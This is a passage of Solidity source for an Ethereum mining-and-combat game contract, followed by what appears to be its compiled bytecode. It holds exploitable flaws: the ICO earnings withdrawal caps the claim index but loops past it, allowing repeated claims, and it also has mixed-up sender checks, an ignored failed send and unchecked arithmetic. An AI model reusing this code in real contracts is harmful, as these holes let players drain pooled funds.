price += pricePerLevel * (count.mul((count-1))) / 2;
}
}
//-----------------------------------------------------------------------
contract EtherCartel {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] rigs; // rig types and their upgrades
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
RigData[9] private rigData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
// honey pot variables
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct; // 90%
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
//booster info
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function EtherCartel() public {
owner = msg.sender;
// price, prod. upgrade, priceETH, limit
rigData[0] = RigData(128, 1, 64, 0, 64);
rigData[1] = RigData(1024, 64, 512, 0, 64);
rigData[2] = RigData(204800, 1024, 102400, 0, 128);
rigData[3] = RigData(25600000, 8192, 12800000, 0, 128);
rigData[4] = RigData(30000000000, 65536, 30000000000, 0.01 ether, 256);
rigData[5] = RigData(30000000000, 100000, 10000000000, 0, 256);
rigData[6] = RigData(300000000000, 500000, 100000000000, 0, 256);
rigData[7] = RigData(50000000000000, 3000000, 12500000000000, 0.1 ether, 256);
rigData[8] = RigData(100000000000000, 30000000, 50000000000000, 0, 256);
boostData[0] = BoostData(30, 0.01 ether);
boostData[1] = BoostData(50, 0.1 ether);
boostData[2] = BoostData(100, 1 ether);
topindex = 0;
honeyPotAmount = 0;
devFund = 0;
jackPot = 0;
nextPotDistributionTime = block.timestamp;
honeyPotSharePct = 90;
// has to be set to a value
boosterHolders[0] = owner;
boosterHolders[1] = owner;
boosterHolders[2] = owner;
boosterHolders[3] = owner;
boosterHolders[4] = owner;
boosterIndex = 0;
nextBoosterPrice = 0.1 ether;
//pvp
troopData[0] = TroopData(10, 0, 100000, 0);
troopData[1] = TroopData(1000, 0, 80000000, 0);
troopData[2] = TroopData(100000, 0, 0, 0.01 ether);
troopData[3] = TroopData(0, 15, 100000, 0);
troopData[4] = TroopData(0, 1500, 80000000, 0);
troopData[5] = TroopData(0, 150000, 0, 0.01 ether);
honeyPotPerCycle.push(0);
globalICOPerCycle.push(1);
cycleCount = 0;
}
//--------------------------------------------------------------------------
// Data access functions
//--------------------------------------------------------------------------
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
uint8 i = 0;
money = miners[minerAddr].money;
lastupdate = miners[minerAddr].lastUpdateTime;
prodPerSec = GetProductionPerSecond(minerAddr);
for(i = 0; i < NUMBER_OF_RIG_TYPES; ++i)
{
rigs[i] = miners[minerAddr].rigs[i];
}
for(i = 0; i < NUMBER_OF_UPGRADES; ++i)
{
upgrades[i] = miners[minerAddr].hasUpgrade[i];
}
unclaimedPot = miners[minerAddr].unclaimedPot;
hasBooster = HasBooster(minerAddr);
unconfirmedMoney = money + (prodPerSec * (now - lastupdate));
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
count = topindex;
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
require(idx < topindex);
minerAddr = indexes[idx];
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
_honeyPotAmount = honeyPotAmount;
_devFunds = devFund;
_jackPot = jackPot;
_nextDistributionTime = nextPotDistributionTime;
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
MinerData storage m = miners[minerAddr];
personalProduction = 0;
uint256 productionSpeed = 100 + m.premamentMineBonusPct;
if(HasBooster(minerAddr)) // 500% bonus
productionSpeed += 500;
for(uint8 j = 0; j < NUMBER_OF_RIG_TYPES; ++j)
{
personalProduction += m.rigs[j] * rigData[j].baseOutput;
}
personalProduction = personalProduction * productionSpeed / 100;
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
globalMoney = 0;
globalHashRate = 0;
uint i = 0;
for(i = 0; i < topindex; ++i)
{
MinerData storage m = miners[indexes[i]];
globalMoney += m.money;
globalHashRate += GetProductionPerSecond(indexes[i]);
}
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
{
_boosterHolders[i] = boosterHolders[i];
}
currentPrice = nextBoosterPrice;
currentIndex = boosterIndex;
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
{
if(boosterHolders[i] == addr)
return true;
}
return false;
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
PVPData storage a = pvpMap[addr];
immunityTime = a.immunityTime;
exhaustTime = a.exhaustTime;
attackpower = 0;
defensepower = 0;
for(uint i = 0; i < NUMBER_OF_TROOPS; ++i)
{
attackpower += a.troops[i] * troopData[i].attackPower;
defensepower += a.troops[i] * troopData[i].defensePower;
troops[i] = a.troops[i];
}
}
function GetCurrentICOCycle() public constant returns (uint256)
{
return cycleCount;
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
require(idx <= cycleCount);
ICOFund = globalICOPerCycle[idx];
if(idx < cycleCount)
{
ICOPot = honeyPotPerCycle[idx];
} else
{
ICOPot = honeyPotAmount / 5; // actual day estimate
}
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
require(idx <= cycleCount);
ICOFund = minerICOPerCycle[miner][idx];
if(idx < cycleCount)
{
ICOShare = (honeyPotPerCycle[idx] * minerICOPerCycle[miner][idx]) / globalICOPerCycle[idx];
} else
{
ICOShare = (honeyPotAmount / 5) * minerICOPerCycle[miner][idx] / globalICOPerCycle[idx];
}
lastClaimIndex = miners[miner].lastPotClaimIndex;
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
MinerData storage m = miners[miner];
require(m.lastUpdateTime != 0);
require(m.lastPotClaimIndex < cycleCount);
uint256 i = m.lastPotClaimIndex;
uint256 limit = cycleCount;
if((limit - i) > 30) // more than 30 iterations(days) afk
limit = i + 30;
unclaimedPot = 0;
for(; i < cycleCount; ++i)
{
if(minerICOPerCycle[msg.sender][i] > 0)
unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[miner][i]) / globalICOPerCycle[i];
}
}
// -------------------------------------------------------------------------
// RigWars game handler functions
// -------------------------------------------------------------------------
function StartNewMiner() external
{
require(miners[msg.sender].lastUpdateTime == 0);
miners[msg.sender].lastUpdateTime = block.timestamp;
miners[msg.sender].money = 0;
miners[msg.sender].rigs[0] = 1;
miners[msg.sender].unclaimedPot = 0;
miners[msg.sender].lastPotClaimIndex = cycleCount;
pvpMap[msg.sender].immunityTime = block.timestamp + 28800;
pvpMap[msg.sender].exhaustTime = block.timestamp;
indexes[topindex] = msg.sender;
++topindex;
}
function UpgradeRig(uint8 rigIdx, uint16 count) external
{
require(rigIdx < NUMBER_OF_RIG_TYPES);
require(count > 0);
require(count <= 256);
MinerData storage m = miners[msg.sender];
require(rigData[rigIdx].limit >= (m.rigs[rigIdx] + count));
UpdateMoney();
// the base of geometrical sequence
uint256 price = NumericSequence.sumOfN(rigData[rigIdx].basePrice, rigData[rigIdx].pricePerLevel, m.rigs[rigIdx], count);
require(m.money >= price);
m.rigs[rigIdx] = m.rigs[rigIdx] + count;
if(m.rigs[rigIdx] > rigData[rigIdx].limit)
m.rigs[rigIdx] = rigData[rigIdx].limit;
m.money -= price;
}
function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable
{
require(rigIdx < NUMBER_OF_RIG_TYPES);
require(count > 0);
require(count <= 256);
require(rigData[rigIdx].priceInETH > 0);
MinerData storage m = miners[msg.sender];
require(rigData[rigIdx].limit >= (m.rigs[rigIdx] + count));
uint256 price = (rigData[rigIdx].priceInETH).mul(count);
require(msg.value >= price);
BuyHandler(msg.value);
UpdateMoney();
m.rigs[rigIdx] = m.rigs[rigIdx] + count;
if(m.rigs[rigIdx] > rigData[rigIdx].limit)
m.rigs[rigIdx] = rigData[rigIdx].limit;
}
function UpdateMoney() private
{
require(miners[msg.sender].lastUpdateTime != 0);
require(block.timestamp >= miners[msg.sender].lastUpdateTime);
MinerData storage m = miners[msg.sender];
uint256 diff = block.timestamp - m.lastUpdateTime;
uint256 revenue = GetProductionPerSecond(msg.sender);
m.lastUpdateTime = block.timestamp;
if(revenue > 0)
{
revenue *= diff;
m.money += revenue;
}
}
function UpdateMoneyAt(address addr) private
{
require(miners[addr].lastUpdateTime != 0);
require(block.timestamp >= miners[addr].lastUpdateTime);
MinerData storage m = miners[addr];
uint256 diff = block.timestamp - m.lastUpdateTime;
uint256 revenue = GetProductionPerSecond(addr);
m.lastUpdateTime = block.timestamp;
if(revenue > 0)
{
revenue *= diff;
m.money += revenue;
}
}
function BuyUpgrade(uint256 idx) external payable
{
require(idx < NUMBER_OF_UPGRADES);
require(msg.value >= boostData[idx].priceInWEI);
require(miners[msg.sender].hasUpgrade[idx] == 0);
require(miners[msg.sender].lastUpdateTime != 0);
BuyHandler(msg.value);
UpdateMoney();
miners[msg.sender].hasUpgrade[idx] = 1;
miners[msg.sender].premamentMineBonusPct += boostData[idx].percentBonus;
}
//--------------------------------------------------------------------------
// BOOSTER handlers
//--------------------------------------------------------------------------
function BuyBooster() external payable
{
require(msg.value >= nextBoosterPrice);
require(miners[msg.sender].lastUpdateTime != 0);
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
if(boosterHolders[i] == msg.sender)
revert();
address beneficiary = boosterHolders[boosterIndex];
MinerData storage m = miners[beneficiary];
// 20% interest after 5 buys
m.unclaimedPot += (msg.value * 9403) / 10000;
// distribute the rest
honeyPotAmount += (msg.value * 597) / 20000;
devFund += (msg.value * 597) / 20000;
// increase price by 5%
nextBoosterPrice += nextBoosterPrice / 20;
UpdateMoney();
UpdateMoneyAt(beneficiary);
// transfer ownership
boosterHolders[boosterIndex] = msg.sender;
// increase booster index
boosterIndex += 1;
if(boosterIndex >= 5)
boosterIndex = 0;
}
//--------------------------------------------------------------------------
// PVP handler
//--------------------------------------------------------------------------
// 0 for attacker 1 for defender
function BuyTroop(uint256 idx, uint256 count) external payable
{
require(idx < NUMBER_OF_TROOPS);
require(count > 0);
require(count <= 1000);
PVPData storage pvp = pvpMap[msg.sender];
MinerData storage m = miners[msg.sender];
uint256 owned = pvp.troops[idx];
uint256 priceGold = NumericSequence.sumOfN(troopData[idx].priceGold, troopData[idx].priceGold, owned, count);
uint256 priceETH = (troopData[idx].priceETH).mul(count);
UpdateMoney();
require(m.money >= priceGold);
require(msg.value >= priceETH);
if(priceGold > 0)
m.money -= priceGold;
if(msg.value > 0)
BuyHandler(msg.value);
pvp.troops[idx] += count;
}
function Attack(address defenderAddr) external
{
require(msg.sender != defenderAddr);
require(miners[msg.sender].lastUpdateTime != 0);
require(miners[defenderAddr].lastUpdateTime != 0);
PVPData storage attacker = pvpMap[msg.sender];
PVPData storage defender = pvpMap[defenderAddr];
uint i = 0;
uint256 count = 0;
require(block.timestamp > attacker.exhaustTime);
require(block.timestamp > defender.immunityTime);
// the aggressor loses immunity
if(attacker.immunityTime > block.timestamp)
attacker.immunityTime = block.timestamp - 1;
attacker.exhaustTime = block.timestamp + 7200;
uint256 attackpower = 0;
uint256 defensepower = 0;
for(i = 0; i < ATTACKER_END_IDX; ++i)
{
attackpower += attacker.troops[i] * troopData[i].attackPower;
defensepower += defender.troops[i + DEFENDER_START_IDX] * troopData[i + DEFENDER_START_IDX].defensePower;
}
if(attackpower > defensepower)
{
if(defender.immunityTime < block.timestamp + 14400)
defender.immunityTime = block.timestamp + 14400;
UpdateMoneyAt(defenderAddr);
MinerData storage m = miners[defenderAddr];
MinerData storage m2 = miners[msg.sender];
uint256 moneyStolen = m.money / 2;
for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i)
{
defender.troops[i] = 0;
}
for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i)
{
if(troopData[i].attackPower > 0)
{
count = attacker.troops[i];
// if the troops overpower the total defense power only a fraction is lost
if((count * troopData[i].attackPower) > defensepower)
count = defensepower / troopData[i].attackPower;
attacker.troops[i] -= count;
defensepower -= count * troopData[i].attackPower;
}
}
m.money -= moneyStolen;
m2.money += moneyStolen;
} else
{
for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i)
{
attacker.troops[i] = 0;
}
for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i)
{
if(troopData[i].defensePower > 0)
{
count = defender.troops[i];
// if the troops overpower the total defense power only a fraction is lost
if((count * troopData[i].defensePower) > attackpower)
count = attackpower / troopData[i].defensePower;
defender.troops[i] -= count;
attackpower -= count * troopData[i].defensePower;
}
}
}
}
//--------------------------------------------------------------------------
// ICO/Pot share functions
//--------------------------------------------------------------------------
function ReleaseICO() external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(nextPotDistributionTime <= block.timestamp);
require(honeyPotAmount > 0);
require(globalICOPerCycle[cycleCount] > 0);
nextPotDistributionTime = block.timestamp + 86400;
honeyPotPerCycle[cycleCount] = honeyPotAmount / 5; // 20% of the pot
honeyPotAmount -= honeyPotAmount / 5;
honeyPotPerCycle.push(0);
globalICOPerCycle.push(0);
cycleCount = cycleCount + 1;
MinerData storage jakpotWinner = miners[msg.sender];
jakpotWinner.unclaimedPot += jackPot;
jackPot = 0;
}
function FundICO(uint amount) external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(amount > 0);
MinerData storage m = miners[msg.sender];
UpdateMoney();
require(m.money >= amount);
m.money = (m.money).sub(amount);
globalICOPerCycle[cycleCount] = globalICOPerCycle[cycleCount].add(uint(amount));
minerICOPerCycle[msg.sender][cycleCount] = minerICOPerCycle[msg.sender][cycleCount].add(uint(amount));
}
function WithdrawICOEarnings() external
{
MinerData storage m = miners[msg.sender];
require(miners[msg.sender].lastUpdateTime != 0);
require(miners[msg.sender].lastPotClaimIndex < cycleCount);
uint256 i = m.lastPotClaimIndex;
uint256 limit = cycleCount;
if((limit - i) > 30) // more than 30 iterations(days) afk
limit = i + 30;
m.lastPotClaimIndex = limit;
for(; i < cycleCount; ++i)
{
if(minerICOPerCycle[msg.sender][i] > 0)
m.unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[msg.sender][i]) / globalICOPerCycle[i];
}
}
//--------------------------------------------------------------------------
// ETH handler functions
//--------------------------------------------------------------------------
function BuyHandler(uint amount) private
{
// add 90% to honeyPot
honeyPotAmount += (amount * honeyPotSharePct) / 100;
jackPot += amount / 100;
devFund += (amount * (100-(honeyPotSharePct+1))) / 100;
}
function WithdrawPotShare() public
{
MinerData storage m = miners[msg.sender];
require(m.unclaimedPot > 0);
require(m.lastUpdateTime != 0);
uint256 amntToSend = m.unclaimedPot;
m.unclaimedPot = 0;
if(msg.sender.send(amntToSend))
{
m.unclaimedPot = 0;
}
}
function WithdrawDevFunds() public
{
require(msg.sender == owner);
if(owner.send(devFund))
{
devFund = 0;
}
}
// fallback payment to pot
function() public payable {
devFund += msg.value;
}
} | 0x6060604052600436106101485763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630116bfc08114610152578063036a66eb1461015f5780631fd86a6a1461019057806333ad9495146101a65780633a70eabd146101b957806356a4e7f9146101d85780635b1fef12146102035780636e4dd931146102795780638357417d146102b7578063996f7602146102ca5780639f0eed0f146102dd578063af299510146102f0578063b4b9cd6214610323578063b4beff8a14610343578063b4e6f92b14610389578063badb2e5a14610397578063bc346c9c146103a8578063bd1f7d52146103c7578063cb68780f14610420578063cc0f65f714610436578063d291fa81146104ea578063d511beec1461051c578063dee8bd511461052f578063f362b9af14610542578063fdade29f14610555575b604e805434019055005b61015d60043561055d565b005b341561016a57600080fd5b61017e600160a060020a036004351661068d565b60405190815260200160405180910390f35b341561019b57600080fd5b61015d60043561071f565b34156101b157600080fd5b61015d610849565b34156101c457600080fd5b61017e600160a060020a03600435166108c8565b34156101e357600080fd5b6101eb6109d1565b60405191825260208201526040908101905180910390f35b341561020e57600080fd5b610222600160a060020a0360043516610a37565b6040518086815260200185815260200184815260200183815260200182600660200280838360005b8381101561026257808201518382015260200161024a565b505050509050019550505050505060405180910390f35b341561028457600080fd5b61028c610b03565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34156102c257600080fd5b61015d610b17565b34156102d557600080fd5b61017e610b6d565b34156102e857600080fd5b61017e610b73565b34156102fb57600080fd5b61030f600160a060020a0360043516610b7a565b604051901515815260200160405180910390f35b341561032e57600080fd5b61015d60ff6004351661ffff60243516610bcb565b341561034e57600080fd5b610365600160a060020a0360043516602435610d61565b60405180848152602001838152602001828152602001935050505060405180910390f35b61015d600435602435610e82565b61015d60ff60043516602435610fb7565b34156103b357600080fd5b61015d600160a060020a0360043516611135565b34156103d257600080fd5b6103da6114d0565b604051808460a080838360005b838110156103ff5780820151838201526020016103e7565b50505050905001838152602001828152602001935050505060405180910390f35b341561042b57600080fd5b6101eb600435611535565b341561044157600080fd5b610455600160a060020a036004351661159e565b6040518089815260200188815260200187815260200186600960200280838360005b8381101561048f578082015183820152602001610477565b5050505090500185600360200280838360005b838110156104ba5780820151838201526020016104a2565b50505050905001848152602001831515151581526020018281526020019850505050505050505060405180910390f35b34156104f557600080fd5b6105006004356116e8565b604051600160a060020a03909116815260200160405180910390f35b341561052757600080fd5b61015d611715565b341561053a57600080fd5b61015d611840565b341561054d57600080fd5b61015d61195d565b61015d611a0d565b6003811061056a57600080fd5b602d816003811061057757fe5b6002020160010154341015151561058d57600080fd5b600160a060020a0333166000908152605b6020526040902060090181600381106105b357fe5b60208082049092015460ff929091066101000a900416156105d357600080fd5b600160a060020a0333166000908152605b60205260409020600b015415156105fa57600080fd5b61060334611b6d565b61060b611ba0565b600160a060020a0333166000908152605b60205260409020600190600901826003811061063457fe5b602091828204019190066101000a81548160ff021916908360ff160217905550602d8160038110151561066357fe5b6002020154600160a060020a0333166000908152605b60205260409020600c018054909101905550565b600160a060020a0381166000908152605b60205260408120600c810154606401826106b785610b7a565b156106c4576101f4820191505b5060005b600960ff8216101561071057600060ff8216600981106106e457fe5b6005020160010154836000018260ff1660098110151561070057fe5b01540293909301926001016106c8565b60648483020495945050505050565b600160a060020a0333166000908152605b60205260408120600b0154151561074657600080fd5b6000821161075357600080fd5b50600160a060020a0333166000908152605b60205260409020610774611ba0565b600a8101548290101561078657600080fd5b600a81015461079b908363ffffffff611c4316565b600a820155605354605280546107ce9285929181106107b657fe5b6000918252602090912001549063ffffffff611c5816565b60526053548154811015156107df57fe5b6000918252602080832090910192909255600160a060020a03331681526050825260408082206053548352909252205461081f908363ffffffff611c5816565b600160a060020a033316600090815260506020908152604080832060535484529091529020555050565b600160a060020a0333166000908152605b60205260408120600d81015490919081901161087557600080fd5b600b820154151561088557600080fd5b50600d810180546000909155600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050156108c4576000600d8301555b5050565b600160a060020a0381166000908152605b60205260408120600b8101548290819015156108f457600080fd5b605354600e8401541061090657600080fd5b5050600e810154605354601e82820311156109215750601e81015b600093505b6053548210156109c957600160a060020a033316600090815260506020908152604080832085845290915281205411156109be57605280548390811061096857fe5b6000918252602080832090910154600160a060020a038816835260508252604080842086855290925291205460518054859081106109a257fe5b906000526020600020900154028115156109b857fe5b04840193505b816001019150610926565b505050919050565b60008080805b605e54821015610a3157506000818152605d6020818152604080842054600160a060020a0316808552605b8352908420600a81015494869052929091529490910193610a229061068d565b830192508160010191506109d7565b50509091565b600080600080610a45611d81565b600160a060020a0386166000908152605c60205260408120600681015460078201549297508796509450909250845b6006811015610af85760338160068110610a8a57fe5b6004020154828260068110610a9b57fe5b015402969096019560338160068110610ab057fe5b60040201600101548260000182600681101515610ac957fe5b0154029590950194818160068110610add57fe5b0154838260068110610aeb57fe5b6020020152600101610a74565b505091939590929450565b604b54604e54604d54604f54929391929091565b605f5433600160a060020a03908116911614610b3257600080fd5b605f54604e54600160a060020a039091169080156108fc0290604051600060405180830381858888f1935050505015610b6b576000604e555b565b605e5490565b6053545b90565b6000805b6005811015610bc057600160a060020a03831660568260058110610b9e57fe5b0154600160a060020a03161415610bb85760019150610bc5565b600101610b7e565b600091505b50919050565b600080600960ff851610610bde57600080fd5b600061ffff841611610bef57600080fd5b61010061ffff84161115610c0257600080fd5b600160a060020a0333166000908152605b60205260409020915061ffff83168260ff861660098110610c3057fe5b015401600060ff861660098110610c4357fe5b600502016004015410151515610c5857600080fd5b610c60611ba0565b610cb0600060ff861660098110610c7357fe5b6005020154600060ff871660098110610c8857fe5b6005020160020154846000018760ff16600981101515610ca457fe5b01548661ffff16611c6e565b90508082600a015410151515610cc557600080fd5b61ffff83168260ff861660098110610cd957fe5b0154018260ff861660098110610ceb57fe5b0155600060ff851660098110610cfd57fe5b6005020160040154826000018560ff16600981101515610d1957fe5b01541115610d5057600060ff851660098110610d3157fe5b6005020160040154826000018560ff16600981101515610d4d57fe5b01555b600a90910180549190910390555050565b60008060006053548411151515610d7757600080fd5b600160a060020a0385166000908152605060209081526040808320878452909152902054605354909350841015610e0e576052805485908110610db657fe5b6000918252602080832090910154600160a060020a03881683526050825260408084208885529092529120546051805487908110610df057fe5b90600052602060002090015402811515610e0657fe5b049150610e5d565b6052805485908110610e1c57fe5b6000918252602080832090910154600160a060020a0388168352605082526040808420888552909252912054604b546005900402811515610e5957fe5b0491505b50600160a060020a039093166000908152605b60205260409020600e01549093909150565b60008080808060068710610e9557600080fd5b60008611610ea257600080fd5b6103e8861115610eb157600080fd5b600160a060020a0333166000908152605c60209081526040808320605b9092529091209095509350848760068110610ee557fe5b01549250610f1f60338860068110610ef957fe5b6004020160020154603389600681101515610f1057fe5b60040201600201548589611c6e565b9150610f488660338960068110610f3257fe5b6004020160030154611cb990919063ffffffff16565b9050610f52611ba0565b600a84015482901015610f6457600080fd5b3481901015610f7257600080fd5b6000821115610f8757600a8401805483900390555b6000341115610f9957610f9934611b6d565b85858860068110610fa657fe5b018054909101905550505050505050565b600080600960ff851610610fca57600080fd5b60008311610fd757600080fd5b610100831115610fe657600080fd5b60008060ff861660098110610ff757fe5b600502016003015411151561100b57600080fd5b600160a060020a0333166000908152605b602052604090209150828260ff86166009811061103557fe5b015401600060ff86166009811061104857fe5b60050201600401541015151561105d57600080fd5b61108783600060ff87166009811061107157fe5b6005020160030154611cb990919063ffffffff16565b9050348190101561109757600080fd5b6110a034611b6d565b6110a8611ba0565b828260ff8616600981106110b857fe5b0154018260ff8616600981106110ca57fe5b0155600060ff8516600981106110dc57fe5b6005020160040154826000018560ff166009811015156110f857fe5b0154111561112f57600060ff85166009811061111057fe5b6005020160040154826000018560ff1660098110151561112c57fe5b01555b50505050565b600080600080600080600080600089600160a060020a031633600160a060020a03161415151561116457600080fd5b600160a060020a0333166000908152605b60205260409020600b0154151561118b57600080fd5b600160a060020a038a166000908152605b60205260409020600b015415156111b257600080fd5b600160a060020a033381166000908152605c6020526040808220928d16825281206007830154929b509950975087965042116111ed57600080fd5b600688015442116111fd57600080fd5b428960060154111561121457600019420160068a01555b611c20420160078a0155600096508694508493505b6003871015611299576033876006811061123f57fe5b600402015489886006811061125057fe5b01540294909401936033600388016006811061126857fe5b600402016001015488600001600360ff16890160068110151561128757fe5b01540284019350866001019650611229565b838511156113e2574261384001886006015410156112bc57613840420160068901555b6112c58a611cde565b505050600160a060020a038781166000908152605b60205260408082203390931682529020600a82015460039650600290045b600687101561131c57600088886006811061130f57fe5b01556001909601956112f8565b600096505b60038710156113c95760006033886006811061133957fe5b600402015411156113be5788876006811061135057fe5b01549550836033886006811061136257fe5b60040201548702111561138f576033876006811061137c57fe5b60040201548481151561138b57fe5b0495505b8589886006811061139c57fe5b018054919091039055603387600681106113b257fe5b60040201548602909303925b866001019650611321565b600a8084018054839003905582018054820190556114c4565b600096505b600387101561140b5760008988600681106113fe57fe5b01556001909601956113e7565b600396505b60068710156114c45760006033886006811061142857fe5b600402016001015411156114b95787876006811061144257fe5b01549550846033886006811061145457fe5b600402016001015487021115611487576033876006811061147157fe5b60040201600101548581151561148357fe5b0495505b8588886006811061149457fe5b018054919091039055603387600681106114aa57fe5b60040201600101548602850394505b866001019650611410565b50505050505050505050565b6114d8611da8565b600080805b600581101561152557605681600581106114f357fe5b0154600160a060020a031684826005811061150a57fe5b600160a060020a0390921660209290920201526001016114dd565b6055549250605454915050909192565b600080605354831115151561154957600080fd5b605280548490811061155757fe5b906000526020600020900154915060535483101561159057605180548490811061157d57fe5b9060005260206000209001549050611599565b50604b54600590045b915091565b60008060006115ab611dd0565b6115b3611deb565b600160a060020a0386166000908152605b60205260408120600a810154600b9091015490965094508080806115e78a61068d565b9650600090505b600960ff8216101561163e57600160a060020a038a166000908152605b6020526040902060ff82166009811061162057fe5b01548660ff83166009811061163157fe5b60200201526001016115ee565b5060005b600360ff821610156116aa57600160a060020a038a166000908152605b6020526040902060090160ff82166003811061167757fe5b60208082049092015460ff929091066101000a9004811690869083166003811061169d57fe5b6020020152600101611642565b600160a060020a038a166000908152605b60205260409020600d015493506116d18a610b7a565b925087420387028901915050919395975091939597565b605e5460009082106116f957600080fd5b506000908152605d6020526040902054600160a060020a031690565b600160a060020a0333166000908152605b60205260408120600b8101549091908190151561174257600080fd5b605354600160a060020a0333166000908152605b60205260409020600e01541061176b57600080fd5b5050600e810154605354601e82820311156117865750601e81015b600e83018190555b60535482101561183b57600160a060020a033316600090815260506020908152604080832085845290915281205411156118305760528054839081106117d057fe5b6000918252602080832090910154600160a060020a0333168352605082526040808420868552909252912054605180548590811061180a57fe5b9060005260206000209001540281151561182057fe5b600d850180549290910490910190555b81600101915061178e565b505050565b600160a060020a0333166000908152605b60205260408120600b0154151561186757600080fd5b604f544290111561187757600080fd5b604b546000901161188757600080fd5b6000605260535481548110151561189a57fe5b600091825260209091200154116118b057600080fd5b620151804201604f55604b546005900460516053548154811015156118d157fe5b600091825260209091200155604b8054600581049003905560518054600181016118fb8382611e05565b50600091825260208220015560528054600181016119198382611e05565b506000918252602080832091909101829055605380546001019055600160a060020a0333168252605b905260408120604d8054600d90920180549092019091555550565b600160a060020a0333166000908152605b60205260409020600b01541561198357600080fd5b33600160a060020a03166000818152605b6020908152604080832042600b8201819055600a82018590556001808355600d8301869055605354600e90930192909255605c84528285206170808201600682015560070155605e80548552605d9093529220805473ffffffffffffffffffffffffffffffffffffffff19169093179092558154019055565b60008060006055543410151515611a2357600080fd5b600160a060020a0333166000908152605b60205260409020600b01541515611a4a57600080fd5b600092505b6005831015611a9057600160a060020a03331660568460058110611a6f57fe5b0154600160a060020a03161415611a8557600080fd5b826001019250611a4f565b60545460569060058110611aa057fe5b0154600160a060020a03166000818152605b60205260409020600d81018054612710346124bb810291909104909101909155604b8054614e20610255909302929092049182019055604e8054909101905560558054601481040190559092509050611b09611ba0565b611b1282611cde565b336056605454600581101515611b2457fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905560548054600101908190556005901061183b576000605455505050565b604c54604b80546064848402819004909101909155604d8054828504019055604e80549282036000190190930204019055565b600160a060020a0333166000908152605b60205260408120600b0154819081901515611bcb57600080fd5b600160a060020a0333166000908152605b60205260409020600b0154421015611bf357600080fd5b33600160a060020a0381166000908152605b60205260409020600b81015490945042039250611c219061068d565b42600b8501559050600081111561183b57600a92909201805491909202019055565b600082821115611c5257600080fd5b50900390565b81810182811015611c6857600080fd5b92915050565b6000808211611c7c57600080fd5b506000611c8d848402860183611cb9565b016002611ca483600019810163ffffffff611cb916565b8502811515611caf57fe5b0401949350505050565b818102821580611cd35750818382811515611cd057fe5b04145b1515611c6857600080fd5b600160a060020a0381166000908152605b60205260408120600b0154819081901515611d0957600080fd5b600160a060020a0384166000908152605b60205260409020600b0154421015611d3157600080fd5b600160a060020a0384166000908152605b60205260409020600b81015490935042039150611d5e8461068d565b42600b8501559050600081111561112f57600a9290920180549190920201905550565b60c06040519081016040526006815b6000815260200190600190039081611d905790505090565b60a06040519081016040526005815b600081526000199091019060200181611db75790505090565b61012060405190810160405260008152600860208201611d90565b606060405190810160405260008152600260208201611d90565b81548183558181151161183b5760008381526020902061183b918101908301610b7791905b80821115611e3e5760008155600101611e2a565b50905600a165627a7a72305820d1613f25ca8